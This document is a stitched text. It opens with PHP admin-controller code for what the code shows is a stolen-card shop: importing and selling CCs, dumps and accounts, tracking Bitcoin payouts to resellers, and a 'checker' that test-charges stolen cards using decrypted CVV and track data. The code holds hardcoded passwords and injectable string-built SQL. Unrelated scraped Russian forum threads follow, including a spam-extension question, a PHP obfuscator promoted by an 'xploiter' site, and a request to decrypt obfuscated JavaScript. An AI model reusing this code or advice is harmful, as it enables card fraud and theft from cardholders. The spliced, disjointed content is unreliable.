        $mainBase = getParam('massMergeBases');

        $baseIn = DAO()->select('*')->from('{{bases}}')->where("id='" . $mainBase . "'")->queryRow();
        while (list($k, $v) = each($bases)) {
            $baseOut[] = $v;
        }

        $sql = array();
        $res = SQL('select * from tbl_bases where ' . (count($baseOut) > 0 ? 'id in (' . implode(',', $baseOut) . ')' : '') . '')->queryAll();
        while (list($k, $row) = each($res)) {
            if ($row['id'] == $baseIn['id']) {
                continue;
            }
            if ($baseIn['type'] != $row['type']) {
                noty('Base ' . $row['name'] . '. Missmatched types.', 'warning');
            }
            if ($baseIn['seller_id'] != $row['seller_id']) {
                noty('Base ' . $row['name'] . '. Missmatched owners ( ' . $baseIn['seller_id'] . ':' . $mainBase . ' <=> ' . $row['seller_id'] . ' ).', 'warning');
            }

            $sql[$k][0] = 'update tbl_' . ($baseIn['type'] == '1' ? 'ccs' : ($baseIn['type'] == '2' ? 'dumps' : 'accounts')) . " set base_id='" . $baseIn['id'] . "',base_name='" . $baseIn['name'] . "'" . ($baseIn['type'] != '2' ? ",base_status='" . $baseIn['active'] . "'" : ",enabled='" . $baseIn['active'] . "'") . " where base_id='" . $row['id'] . "'";
            $sql[$k][1] = "update tbl_bases set name='[REMOVED]" . str_replace(array('[REMOVED]', "'"), array('', "\'"), $row['name']) . "',active='0' where id='" . $row['id'] . "'";
        }

        while (list($k, $sql1) = each($sql)) {
            if (!SQL($sql1[0])->query()) {
                noty('Error merging ' . $row['name'] . '.', 'warning');
            }
            if (!SQL($sql1[1])->query()) {
                noty('Error removing ' . $row['name'] . '.', 'warning');
            }
        }

        noty('Success merging to "' . $checkers[$checker]['name'] . '" checker on all bases', 'success');
    }

    public function actionIndex()
    {
        //+T
        $model = new R_Bases();
        $modelPayouts = new R_Payouts();
        $modelPartners = new R_Partners();
        $database_id = getParam('database_id');
        $import = getParam('import');
        $export = getParam('export');
        $new_import = getParam('new_import');
        $database_info = $model->getInfoAboutDBbyID($database_id);
        $password = getParam('resellerPWD');

        Yii::import('application.models.admincp.reseller.*');
        $total_profit_all = SQL(
            'SELECT SUM(total) FROM (
    SELECT SUM(IFNULL(total_income, 0) * percent / 100 - IFNULL(total_amounts, 0)) as total FROM
    (

      (SELECT b.id as base_id, p.user_id, p.percent FROM {{bases}} b, {{partners}} p WHERE b.id = p.base_id AND b.type = 1) bases
      LEFT JOIN
      (SELECT SUM(IFNULL(total_price, 0)) as total_income, base_id FROM {{ccs_history}} WHERE is_moneyback = 0 GROUP BY base_id) income ON bases.base_id = income.base_id

      LEFT JOIN
      (SELECT SUM(amount) as total_amounts, user_id, base_id FROM {{payouts}} GROUP BY user_id, base_id) payouts ON payouts.user_id = bases.user_id AND payouts.base_id = bases.base_id

    )

    UNION ALL


    SELECT SUM(IFNULL(total_income, 0) * percent / 100 - IFNULL(total_amounts, 0)) as total FROM
    (

      (SELECT b.id as base_id, p.user_id, p.percent FROM {{bases}} b, {{partners}} p WHERE b.id = p.base_id AND b.type=2) bases
      LEFT JOIN
      (SELECT SUM(IFNULL(total_price, 0)) as total_income, base_id FROM {{dumps_history}} WHERE is_moneyback = 0 GROUP BY base_id) income ON bases.base_id = income.base_id

      LEFT JOIN
      (SELECT SUM(amount) as total_amounts, user_id, base_id FROM {{payouts}} GROUP BY user_id, base_id) payouts ON payouts.user_id = bases.user_id AND payouts.base_id = bases.base_id

    )

    UNION ALL

    SELECT SUM(IFNULL(total_income, 0) * percent / 100 - IFNULL(total_amounts, 0)) as total FROM
    (

      (SELECT b.id as base_id, p.user_id, p.percent FROM {{bases}} b, tbl_partners p WHERE b.id = p.base_id AND b.type=3) bases
      LEFT JOIN
      (SELECT SUM(IFNULL(total_price, 0)) as total_income, base_id FROM {{accounts_history}} WHERE is_moneyback = 0 GROUP BY base_id) income ON bases.base_id = income.base_id

      LEFT JOIN
      (SELECT SUM(amount) as total_amounts, user_id, base_id FROM {{payouts}} GROUP BY user_id, base_id) payouts ON payouts.user_id = bases.user_id AND payouts.base_id = bases.base_id

    )) t'
        )->queryScalar();

        Yii::import('application.models.admincp.operations.*');
        Yii::import('application.models.admincp.operations.bitcoin.*');
        Yii::import('application.models.admincp.operations.bitcoin.forms.*');

        try {
            $bitcoinModel = new Bitcoin();
            $btc_rate = $bitcoinModel->getBTC_rate(true);
            $info = $bitcoinModel->connection->getwalletinfo();
            $balance = $info['balance'] * $btc_rate;
        } catch (Exception $e) {
            $balance = null;
        }

        $model->unsetAttributes();
        if (isset($_GET[$model->name()])) {
            while (list($k, $v) = each($_GET[$model->name()])) {
                if ($v != '') {
                    $model->$k = $v;
                }
            }
        }

        if (getParam('removed') == 1) {
            $model_bases = $model;
        } else {
            $model_bases = $model->withoutDeleted();
        }

        $total_users_balance = DAO()->select("SUM(amount)")->from("{{operations}}")->where("status=1")->queryScalar();
        $dataArray = array(
            'database_id' => $database_id,
            'database_info' => $database_info,
            'model' => $model_bases,
            'modelPartners' => $modelPartners,
            'modelPayouts' => $modelPayouts,
            'import' => $import,
            'export' => $export,
            'new_import' => $new_import,
            'importDataErrors' => '',
            'importDataSuccess' => '',
            'countryWithoutPrice' => '',
            'total_profit_all' => round($total_profit_all, 2),
            'balance' => $balance ? round($balance, 2) : '<span style="color:#FF0000">BTC Server Error</span>',
            'free_balance' => $balance ? round(($balance - $total_profit_all), 2) : '<span style="color:#FF0000">BTC Server Error</span>',
            'total_users_balance' => round($total_users_balance, 2),
        );

        //IF DATABASE WAS SELECTED
        Yii::import('application.models.admincp.import.*');
        if (!empty($database_id) && !empty($database_info)) {
            switch ($database_info['type']) {
                case 1:
                    $modelUpdates = new R_Updates_CCS($database_info['type']);
                    $modelUpdates = $modelUpdates->selectedBase($database_info['id']);
                    break;
                case 2:
                    $modelUpdates = new R_Updates_Dumps($database_info['type']);
                    $modelUpdates = $modelUpdates->selectedBase($database_info['id']);
                    break;
                case 3:
                    $modelUpdates = new R_Updates_ACCS($database_info['type']);
                    $modelUpdates = $modelUpdates->selectedBase($database_info['id']);
                    break;
                default:
                    break;
            }

            $dataArray['modelUpdates'] = $modelUpdates;

            //SET DEFAULT TABLE:
            switch ($database_info['type']) {
                case 1:
                    $table_name = 'ccs';
                    break;
                case 2:
                    $table_name = 'dumps';
                    break;
                case 3:
                    $table_name = 'accounts';
                    break;

                default:
                    break;
            }

            Yii::app()->clientScript->registerScriptFile(
                Yii::app()->baseUrl . '/js/charts/highcharts.js',
                CClientScript::POS_END
            );
            Yii::app()->clientScript->registerScriptFile(
                Yii::app()->baseUrl . '/js/charts/modules/exporting.js',
                CClientScript::POS_END
            );
            Yii::app()->clientScript->registerScriptFile(
                Yii::app()->baseUrl . '/js/admincp/stats/countries_profit.js',
                CClientScript::POS_END
            );
            $dataArray['countryList'] =
                SQL('
            SELECT c.country_name, count( * ) as country_count
            FROM {{' . $table_name . '}} as c
            WHERE base_id=:base_id
            GROUP BY c.country_name
            ORDER BY count( * ) DESC
        ')->bindParam(':base_id', $database_id)->queryAll();
        }

        if ($new_import == 1) {
            $updateCode = mb_strtoupper(getParam('updateCode'));
            $columns = json_decode(getParam('columns', ''), true);
            $rows = json_decode(getParam('rows', ''), true);
            if (sizeof($rows) > 0) {
                Yii::import('application.models.admincp.import.ImportNew');
                $model = new ImportNew();

                echo json_encode($model->loadItems($database_id, $columns, $rows, $updateCode, 1));
                die();
            }
        }

        //CHECK IMPORT
        if ($import == 1 || ($export == 1 && $password == 'eU93W2XFMorBpvQj')) {
            //DEFAULT ARRAY:
            $dataArray['importDataErrors'] = '';
            $dataArray['importDataSuccess'] = '';
            $dataArray['countryWithoutPrice'] = '';

            $importData = (!empty($_POST['importData'])) ? $_POST['importData'] : null;
            $importData = str_replace('\\', '', $importData);
            $importType = (!empty($_POST['importType'])) ? $_POST['importType'] : null;

            switch ($importType) {
                case 1:
                    $importFormat = (!empty($_POST['importFormatCC'])) ? $_POST['importFormatCC'] : null;
                    break;
                case 2:
                    $importFormat = (!empty($_POST['importFormatFullz'])) ? $_POST['importFormatFullz'] : null;
                    break;
                case 3:
                    $importFormat = (!empty($_POST['importFormatDumps'])) ? $_POST['importFormatDumps'] : null;
                    break;
                case 4:
                    $importFormat = (!empty($_POST['importFormatACCS'])) ? $_POST['importFormatACCS'] : null;
                    break;
                default:
                    break;
            }

            if (!empty($importFormat) && $importFormat != 0) {
                Yii::import('application.models.admincp.bases.*');
                switch ($importType) {
                    case 1:
                        $model = new ImportCCS();
                        $result = $model->loadCCS($importData, $importFormat, $database_id, $export);
                        $dataArray['importDataErrors'] = $result['importDataErrors'];
                        $dataArray['importDataSuccess'] = $result['importDataSuccess'];
                        $dataArray['countryWithoutPrice'] = $result['countryWithoutPrice'];
                        break;
                    case 2:
                        $model = new ImportCCS();
                        $result = $model->loadFullz($importData, $importFormat, $database_id, $export);
                        $dataArray['importDataErrors'] = $result['importDataErrors'];
                        $dataArray['importDataSuccess'] = $result['importDataSuccess'];
                        $dataArray['countryWithoutPrice'] = $result['countryWithoutPrice'];
                        break;
                    case 3:
                        $model = new ImportDumps();
                        $model->database_id = getParam('database_id');
                        $model->code = rand_str(10);
                        $result = $model->loadDumps($importData, $export);
                        if (!empty($result['success'])) {
                            $price = new R_Price();
                            $base = new R_Bases();
                            $base->rebuildBinlist(getParam('database_id'));
                            $price->DUMPS_rebuildPrice(getParam('database_id'));
                        }

                        $dataArray['importDataErrors'] = implode("\r\n", $result['errors']);
                        $dataArray['importDataSuccess'] = implode("\r\n", $result['success']);
                        break;
                    case 4:
                        $model = new ImportACCS();
                        $importData = preg_split('/\r\n/', $importData);
                        $result = $model->loadAccs($importData, $importFormat, $database_id, $export);
                        $dataArray['importDataErrors'] = $result['importDataErrors'];
                        $dataArray['importDataSuccess'] = $result['importDataSuccess'];
                        $dataArray['countryWithoutPrice'] = $result['countryWithoutPrice'];
                        break;
                    default:
                        break;
                }
            }
        }

        $this->render('/admincp/reseller/managment/form', $dataArray);
        //+E
    }

    public function checkIsAdminOrDie()
    {
        if (!checkAccess('admin')) {
            throw new Exception('You are not allowed to access this action.');
        }
    }

    public function actionAjax()
    {
        //+T
        $item_id = getParam('id');
        $method = getParam('method');
        switch ($method) {
            case 'removePriceCountry':
                $country = R_Prices::model()->findByPk($item_id);
                $country->delete();
                $priceRules = new R_Price();
                $priceRules->CCS_rebuildPriceAll();

                noty('Country was removed', 'success');
                break;
            case 'updatePriceCountry':
                $price = getParam('price');
                $fullz = getParam('fullz');
                $country_name = getParam('country_name');
                $timeout = getParam('timeout');

                //ADDING PRICE
                $prices = R_Prices::model()->findByAttributes(array('country_name' => $country_name));

                $prices->price = $price;
                $prices->country_name = $country_name;
                $prices->fullz = $fullz;
                $prices->timeout = $timeout;
                $prices->save();

                $priceRules = new R_Price();
                $priceRules->CCS_updatePriceByCountry($country_name, $price, $fullz);
                $priceRules->CCS_rebuildPriceAll();

                noty('Country was added', 'success');

                break;
            case 'updateAlias':
                $this->checkIsAdminOrDie();
                $search = getParam('search');
                $replace = getParam('replace');

                //UPDATE ALIAS
                $alias = R_Alias::model()->findByAttributes(array('search' => $search));
                $alias->replace = $replace;
                $alias->save();

                noty('Alias was updated', 'success');

                break;
            case 'removeAlias':
                $this->checkIsAdminOrDie();
                $search = getParam('search');
                $replace = getParam('replace');

                //UPDATE ALIAS
                $alias = R_Alias::model()->findByPk($item_id);
                $alias->delete();

                noty('Alias was deleted', 'success');

                break;
            case 'addAlias':
                $this->checkIsAdminOrDie();
                $search = getParam('search');
                $replace = getParam('replace');

                //UPDATE ALIAS
                $alias = new R_Alias();
                $alias->search = $search;
                $alias->replace = $replace;
                $alias->save();

                noty('Alias was added', 'success');

                break;
            case 'removeBase':
                $this->checkIsAdminOrDie();
                $base_id = getParam('database_id');
                $password = getParam('resellerPWD');
                if ($password == '2faD4PHzMuZ') {
                    $base = R_Bases::model()->findByPk($base_id);
                    if (empty($base)) {
                        return;
                    }
                    //REMOVE EVERYTHING FROM STOCK:
                    switch ($base->type) {
                        case 1:
                            DAO()->delete('{{ccs}}', 'base_id=:base_id', array(':base_id' => $base_id));
                            break;
                        case 2:
                            DAO()->delete('{{dumps}}', 'base_id=:base_id', array(':base_id' => $base_id));
                            break;
                        case 3:
                            DAO()->delete('{{accounts}}', 'base_id=:base_id', array(':base_id' => $base_id));
                            break;
                        default:
                            break;
                    }

                    //CHANGE STATUS ABOUT DB:
                    $base->name = '[REMOVED]' . $bases->name;
                    $base->active = 0;
                    $base->visible = 0;
                    $base->save();
                }
                break;
            case 'activate':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->active = 1;
                $base->price_approve = 1;
                $base->save();
                switch ($base->type) {
                    case 1:
                        DAO()->update(
                            '{{ccs}}',
                            ['base_status' => 1],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        break;
                    case 2:
                        DAO()->update(
                            '{{dumps}}',
                            ['base_status' => 1],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        $this->actionRebuildDumpSection();
                        break;
                    case 3:
                        DAO()->update(
                            '{{accounts}}',
                            ['base_status' => 1],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        break;
                }
                break;
            case 'deactivate':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->active = 0;
                $base->price_approve = 0;
                $base->save();
                switch ($base->type) {
                    case 1:
                        DAO()->update(
                            '{{ccs}}',
                            ['base_status' => 0],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        break;
                    case 2:
                        DAO()->update(
                            '{{dumps}}',
                            ['base_status' => 0],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        $this->actionRebuildDumpSection();
                        break;
                    case 3:
                        DAO()->update(
                            '{{accounts}}',
                            ['base_status' => 0],
                            'base_id=:db_id',
                            [':db_id' => $base->id]
                        );
                        break;
                }
                break;
            case 'enable_refunds':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->refunds = 1;
                $base->save();
                break;
            case 'disable_refunds':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->refunds = 0;
                $base->save();
                break;
            case 'activate_autopost':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->autopost = 1;
                $base->save();
                break;
            case 'deactivate_autopost':
                $base_id = getParam('database_id');
                $base = R_Bases::model()->findByPk($base_id);
                if (empty($base)) return;
                $base->autopost = 0;
                $base->save();
                break;
            case 'confirm_update':
                $ucode = getParam('ucode');
                $db_type = getParam('db_type');
                $actionText = 'confirmed update ';
                $wrongType = false;

                switch ($db_type) {
                    case 1:
                        R_Updates_CCS::model()->confirmUpdate($ucode, 1);
                        R_Updates_CCS::model()->moderateUpdate($ucode, 1);
                        $actionText .= 'of CCS Base (' . $ucode . ')';
                        Yii::app()->getModule('preorder')->proceedByCode($ucode);
                        break;

                    case 2:
                        R_Updates_Dumps::model()->confirmUpdate($ucode, 1);
                        R_Updates_Dumps::model()->moderateUpdate($ucode, 1);
                        $price = new R_Price();
                        $model = new R_Bases();
                        $model->rebuildBinlist($item_id);
                        $price->DUMPS_rebuildPrice($item_id);
                        $actionText .= 'of Dumps Base (' . $ucode . ')';
                        break;
                    case 3:
                        R_Updates_ACCS::model()->confirmUpdate($ucode, 1);
                        R_Updates_ACCS::model()->moderateUpdate($ucode, 1);
                        $actionText .= 'of ACCs Base (' . $ucode . ')';
                        break;
                    default:
                        $wrongType = true;
                        break;
                }

                if (!$wrongType) {
                    logSupportAction($actionText);
                }

                break;
            case 'unconfirm_update':

                $ucode = getParam('ucode');
                $db_type = getParam('db_type');

                switch ($db_type) {
                    case 1:
                        R_Updates_CCS::model()->confirmUpdate($ucode, 0);
                        R_Updates_CCS::model()->moderateUpdate($ucode, 1);
                        break;

                    case 2:
                        R_Updates_Dumps::model()->confirmUpdate($ucode, 0);
                        R_Updates_Dumps::model()->moderateUpdate($ucode, 1);
                        $price = new R_Price();
                        $model = new R_Bases();
                        $model->rebuildBinlist($item_id);
                        $price->DUMPS_rebuildPrice($item_id);
                        break;
                    case 3:
                        R_Updates_ACCS::model()->confirmUpdate($ucode, 0);
                        R_Updates_ACCS::model()->moderateUpdate($ucode, 1);
                        break;
                    default:
                        break;
                }

                break;
            case 'checkUpdate':
                Yii::import('application.components.checker.*');
                $ucode = (string)arrayPath($_POST, 'ucode');
                $base_id = (string)arrayPath($_POST, 'baseId');
                $base_type = (string)arrayPath($_POST, 'baseType');
                $ccnum = (string)arrayPath($_POST, 'ccnum');

                switch ($base_type) {
                    case 1:
                        $modelUpdates = new R_Updates_CCS();
                        break;
                    case 2:
                        $modelUpdates = new R_Updates_Dumps();
                        break;

                    default:
                        break;
                }

                if (empty($ccnum)) {
                    $checkLimit = $modelUpdates->getCheckLog($ucode);
                }

                if ($checkLimit <= 35) {
                    //GET RANDOM CARD:
                    $record = !empty($ccnum) ? $modelUpdates->getCard($ucode, $ccnum) : $modelUpdates->getRandomCard($ucode);

                    if (!empty($record)) {
                        //GET CHECKER FOR CARD
                        $checkerName = DAO()->select('checker')
                            ->from('{{bases}}')->where('id=:base_id', array(':base_id' => $base_id))
                            ->queryScalar();
                        $checkerName = (!empty($checkerName)) ? $checkerName : Yii::app()->params['checker']['default'];
                        if ($base_type == 1) {
                            $checker = new CCS_Checker(Yii::app()->params['checker'], $checkerName);
                            $checker->cards[] = array(
                                'data' => $record['ccnum'] . ' ' . $record['exp_m'] . '/' . $record['exp_y'],
                                'cc_info' => array(
                                    'cvv2' => decrypt($record['cvv']),
                                    'country_name' => $record['country_name'],
                                    'zip' => trim(decrypt($record['zip'])),
                                    'avs_address' => 'UNKNOWN',
                                    'avs_zip' => 'UNKNOWN',
                                ),
                            );
                        } elseif ($base_type == 2) {
                            $checker = new Dump_Checker(Yii::app()->params['checker'], $checkerName);
                            $checker->format_list = 1;
                            $checker->check_t1 = 0;
                            $checker->check_t2 = 1;
                            $checker->amount = 1;
                            $checker->amount_fixed = '';
                            $checker->void = 0;
                            $checker->merchant = 0;
                            $checker->cards[0]['data'] = decrypt($record['track2']);
                        }

                        $checkInfo = $checker->execute();

                        $checkInfo = arrayPath($checkInfo, 'response.card1', array());

                        if (!empty($checkInfo['auth_code']) && $checkInfo['auth_code'] != 'RE') {
                            $modelUpdates->addCheckLog(array(
                                'ucode' => $ucode,
                                'ccnum' => $record['ccnum'],
                                'auth_code' => $checkInfo['auth_code'],
                                'auth_result' => $checkInfo['auth_result'],
                                'checker_used' => $checkerName
                            ));
                            switch ($base_type) {
                                case 1:
                                    $_tableName = '{{ccs}}';
                                    break;
                                case 2:
                                    $_tableName = '{{dumps}}';
                                    break;
                                case 3:
                                    $_tableName = '{{accounts}}';
                                    break;
                                default:
                                    break;
                            }

                            if (!in_array($checkInfo['auth_code'], ['00', '10', '85', '28', '91'])) {
                                DAO()->delete($_tableName, 'id=:id', array(':id' => $record['id']));
                            }
                        }

                        if ($checkInfo['auth_code'] == 'RE') {
                            die(json_encode(
                                array(
                                    'ucode' => $ucode,
                                    'ccnum' => $record['ccnum'],
                                    'auth_code' => $checkInfo['auth_code'],
                                    'auth_result' => $checkInfo['auth_result'],
                                    'msg' => 'Batch created, waiting for result',
                                )
                            ));
                        }

                        die(
                        json_encode(
                            [
                                'msg' => CHtml::link('CHECKED TIMES: ' . $modelUpdates->getCheckLog($ucode) . ' | APPROVAL: '
                                        . $modelUpdates->getCheckLogApproval($ucode) . ' times', '/reseller/updates/index/ucode/'
                                        . $ucode) . '<br/><span style="color:'
                                    . (in_array($checkInfo['auth_code'], array('00', '10', '85', '28', '91')) ? 'green' : 'red')
                                    . ';">' . ($checkInfo['auth_code'] . ' ' . $checkInfo['auth_result'] . ' | '
                                        . rand_str(3)) . '</span>'
                            ]
                        )
                        );
                    } else {
                        die(json_encode(array('msg' => 'REQUEST ERROR')));
                    }
                } else {
                    die(json_encode(array('msg' => 'TOO MANY CHECKS ON THIS UPDATE')));
                }
                break;
            case 'publish_news':
                $baseId = getParam('base_id');
                $this->publishNews($baseId);
                break;
            default:
                break;
        }
        //+E
    }

    public function actions()
    {
        return array(
            'autocomplete' => array(
                'class' => 'application.extensions.EAutoCompleteAction',
                'model' => 'R_Bases', //My model's class name
                'limit' => 25,
                'whitelist' => array('name'),
                'whitelist_vars' => array('id', 'name'),
                'extended' => 1,
                'attribute' => (!empty($_GET['attr'])) ? $_GET['attr'] : '', //The attribute of the model i will search
            ),
        );
    }

    public function publishNews($baseId)
    {
        Yii::import("application.models.admincp.news.*");
        $baseType = DAO()->select('type')->from('{{bases}}')->where('id=:base_id', [':base_id' => $baseId])->queryScalar();
        $mainCountryRow = DAO()
            ->select('country_name, COUNT(*) as country_count')
            ->from('{{ccs}}')
            ->where('base_id = :base_id', [':base_id' => $baseId])
            ->group('country_name')
            ->order('country_count DESC')
            ->LIMIT('1')
            ->queryRow();
        $mainCountry = $mainCountryRow['country_name'];
        $lastNewsId = DAO()
            ->select('id')
            ->from('{{news}}')
            ->where('binded_db = :base_id', [':base_id' => $baseId])
            ->limit(1)
            ->queryScalar();
        $firstNews = $lastNewsId <= 0;
        switch ($baseType) {
            case 1:
                $title = "CC UPDATE/ОБНОВЛЕНИЕ СС";
                break;
            case 2:
                $title = "DUMPS UPDATE/ОБНОВЛЕНИЕ DUMPS";
                break;
            case 3:
                $title = "ACCOUNTS UPDATE/ОБНОВЛЕНИЕ ACCOUNTS";
                break;
            default:
                die();
        }
        $bodyPrefix = $firstNews ? "ADDED NEW" : "UPDATED";
        $body = "<p style=\"text-align: center; color: #ff6600;\">{$bodyPrefix} {$mainCountry} BASE</p>";
        $newsModel = new ANews();
        $newsModel->title = $title;
        $newsModel->article_prev = $body;
        $newsModel->enabled = 1;
        $newsModel->binded_db = $baseId;
        $newsModel->is_flash = 1;
        $newsModel->is_sticky = 0;
        $newsModel->access_group = 'customer';
        $newsModel->save();
        DAO()->update("{{news}}", ['is_flash' => 0], 'is_flash = 1');
        DAO()->update("{{users}}", ['read_news' => 0]);
        require __DIR__ . '/../../../extensions/telegrambot/TelegramBot.php';
        $telegram = new TelegramBot();
        $telegram->sendNews(
            $this->renderPartial(
                '/news/telegram',
                [
                    'title' => $title,
                    'binded_db' => $baseId,
                    'body' => $body,
                ],
                true
            ),
            'markdown'
        );
    }

    public function actionGetCountriesStats()
    {
        $database_id = $_REQUEST['base_id'];
        $base = DAO()->select('*')->from('{{bases}}')->where('id=:id', [':id' => $database_id])->queryRow();
        if ($base['type'] == 1) {
            $table_name = 'ccs';
        } elseif ($base['type'] == 2) {
            $table_name = 'dumps';
        } elseif ($base['type'] == 3) {
            $table_name = 'accounts';
        }

        $statsA = DAO()->select('c.country_name, count(*) as country_count')->from('{{' . $table_name . '_history}} as c')
            ->where('base_id=:base_id AND created_at BETWEEN :from AND :to', array(
                ':base_id' => $database_id,
                ':from' => $_REQUEST['from'] . ' 0:0:0', ':to' => $_REQUEST['to'] . ' 23:59:59',
            ))
            ->group('c.country_name')->order('count(*) DESC')->queryAll();

        while (list($k, $row) = each($statsA)) {
            $stats[$row['country_name']] = $row['country_count'];
        }
        header('Content-type: application/json');
        echo json_encode($stats);
        Yii::app()->end();
    }

    public function actionGetBinStats()
    {
        $database_id = $_REQUEST['base_id'];
        $base = DAO()->select('*')->from('{{bases}}')->where('id=:id', [':id' => $database_id])->queryRow();
        if ($base['type'] == 1) {
            $table_name = 'ccs';
        } elseif ($base['type'] == 2) {
            $table_name = 'dumps';
        } elseif ($base['type'] == 3) {
            $table_name = 'accounts';
        }

        $statsA = DAO()->select('c.bin as bin, count( * ) as bins_count')->from('{{' . $table_name . '_history}} as c')
            ->where('base_id=:base_id AND created_at BETWEEN :from AND :to', array(
                ':base_id' => $database_id,
                ':from' => $_REQUEST['from'] . ' 0:0:0', ':to' => $_REQUEST['to'] . ' 23:59:59',
            ))
            ->group('c.bin')->order('count(*) DESC')->limit(50)->queryAll();

        $stats = array();
        while (list($k, $row) = each($statsA)) {
            $stats['data'] .= '<li class="innerli">' . $row['bin'] . ': <b>' . $row['bins_count'] . '</b></li>';
        }
        $stats['data'] = '<ul style="display:block;"><b>Top bins:</b><br />' . $stats['data'] . '</ul>';
        header('Content-type: application/json');
        echo json_encode($stats);
        Yii::app()->end();
    }
}
Помогите привязать div
ID: 67668b27b4103b69df375d6f
Thread ID: 32211
Created: 2019-10-02T11:31:33+0000
Last Post: 2021-12-09T08:37:08+0000
Author: Forch
Replies: 1 Views: 1K

Добрый день, помогите привязать div к видео и субтитрам, чтобы когда нажимаешь на кнопку выкл. субтитров div исчезал, а когда вкл. субтитров div появлялся.
А так же я не знаю как сделать что бы субтитры выводились в div.

https://code.sololearn.com/WLxB1nr50N0C/#html

Спасибо за ранее!

[Иван Воробьев] SQL с нуля до профи курс для начинающих (2020)
ID: 67668b27b4103b69df375d7c
Thread ID: 45475
Created: 2020-12-12T20:19:24+0000
Last Post: 2021-09-13T17:39:36+0000
Author: balabashka
Replies: 1 Views: 1K

Название: [Иван Воробьев] SQL с нуля до профи курс для начинающих (2020)

Автор: Udemy

Описание:

Изучение операторов языка SQL с подробным объяснением, а так же практическое закрепление материала на реальных примерах

Чему вы научитесь
Операторы языка SQL
Работа с СУБД MySQL и SQLite
Составлению SQL запросов к базе данных
Работа с графическим интерфейсом phpMyAdmin
Работе с локальным хостингом OpenServer
Работа с SQL на реальных примерах

Описание

Для чего и для кого нужен SQL?

SQL необходим во всех сферах, хоть как либо связанных с IT. Все компании при работе с данными используют именно SQL, так что без его знания вы не только не сможете куда либо устроится, но и не сможете разрабатывать даже самые простые проекты.

В данном курсе мы подробно рассмотрим этот язык, и научимся работе с ним, что бы после просмотра курса вы спокойно смогли применять SQL в своих проектах.

Мы установим локальных хостинг OpenServer, и настроем его. Если вы планируйте заняться веб-разработкой после прохождения курса, то OpenServer пригодится вам и в этой сфере.

Научимся работать с графическим интерфейсом phpMyAdmin, который будем использовать в ходе курса. phpMyAdmin вы 100% встретите и в реальных проектах, и вам так же придётся с ним работать, так что эти знания вам пригодятся не только для изучения языка.

Так же научимся построению запросов на этом языке для комфортной и правильной работе с данными. Научимся получать, обновлять, удалять и редактировать данные при помощи этих запросов.

Изучим особенности работы с разными СУБД, в частности MySQL и SQLite.

Рассмотрим построение SQL запросов на примере реальных проектов. Пропишем SQL запросы, которые будут работать с данными на сайте типа Todo List. Будут создавать, удалять и отображать заметки в этом листе. А так же сделаем похожий Todo List в консольном приложении, написанном на Python. Не волнуйтесь, вам потребуется составить только SQL запрос, знание остальных технологий не требуется, но принцип работы я объясню.

После прохождения практических заданий, вы будете уверенно знать язык SQL, и сможете применить его в своих проектах или на работе. Но если в ходе курса или после его прохождения у вас возникнут вопросы, то вы всегда сможете задать их мне, и я с удовольствием помогу решить вашу проблему.

Для кого этот курс:
Люди любых возвратов, желающие научится построению запросов к СУБД на языке SQL

Продажник

Ссылка на скачивание

Реально ли написать расширение для chrome, чтобы спамить?
ID: 67668b27b4103b69df375d7e
Thread ID: 55531
Created: 2021-08-19T07:12:19+0000
Last Post: 2021-08-27T14:13:25+0000
Author: web12yel
Replies: 10 Views: 1K

Реально ли написать расширение для chrome, чтобы спамить? Можно ведь было бы запустить 20 копии браузера chrome, с таки расширением, на vds rdp....и начать спамить?

Obfuscator PHP
ID: 67668b27b4103b69df375d85
Thread ID: 52868
Created: 2021-06-12T16:35:05+0000
Last Post: 2021-06-13T12:49:50+0000
Author: binrs
Replies: 1 Views: 1K

Obfuscate PHP Online | PHP Obfuscator

![php- obfuscator.22xploitercrew.my.id](/proxy.php?image=https%3A%2F%2Fencrypted- tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%253AANd9GcSrn1IhCxrwXMihuThsy70NveVFVcqT8s_alg%26usqp%3DCAU&hash=051fcdb6d6a8f01fbcb2d6e9182d7f65&return_error=1) php-obfuscator.22xploitercrew.my.id

Тестил на своем файле редиректа

В основное окно вставляем наш код на пхп
Далее выбираем уровень обусфакции

Выбрали к примеру сильный
Жмем Obfuscate

На выходе получаем зашифрованный код, копируем, вставляем код в новый файл


Примечание: вторую строку можно удалить "//"

CryptoJS.AES.decrypt как расшифровать
ID: 67668b27b4103b69df375d88
Thread ID: 52652
Created: 2021-06-08T22:07:43+0000
Last Post: 2021-06-09T21:14:59+0000
Author: QweRR
Replies: 4 Views: 1K

Ребят, колупаю один файл с гита, плиз посмотрите на код, я че-то в глаза долблюсь, ковыряюсь и никак не доходит, как хеш декрипнуть можно. Это ж по идее Cipher Algorithm типа
var decrypted = CryptoJS.AES.decrypt(encrypted, "Secret Passphrase");
Только где он ключ берет?

Hidden content for authorized users.

JavaScript:Copy to clipboard

let vbd="U2FsdGVkX18JqJygW/0GkMHp1HVOszVBvgCz/zTMUC+Jb5jHCkd1BoOyx0sR4fdRKzHSNd3fHG1ASkV6zWf7rA==",
    cvk="U2FsdGVkX1/SdCsAOo0FZoBnjNAGGS7mwUYTeGlEM6drHWeu71muu6YQIVz+R4nrkJjXPtxDeSc1JKbFE51ynA==";
    function vmn(o)
    {
    const t = CryptoJS.AES.decrypt(o,location.href);
    return t.toString(CryptoJS.enc.Utf8)
    }
    function ast()
    {
        vbd=vmn(vbd),cvk=vmn(cvk)
    }
    ast();

Сайт под клаудфлаером, может он через этот скрипт обращается?

Hidden content for authorized users.

JavaScript:Copy to clipboard

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js" integrity="sha256-/H4YS+7aYb9kI7NKhFYPUjSJdrtV6AeyJOtTrw6X72o=" crossorigin="anonymous"></script>

Ткните плиз в какую сторону копать.

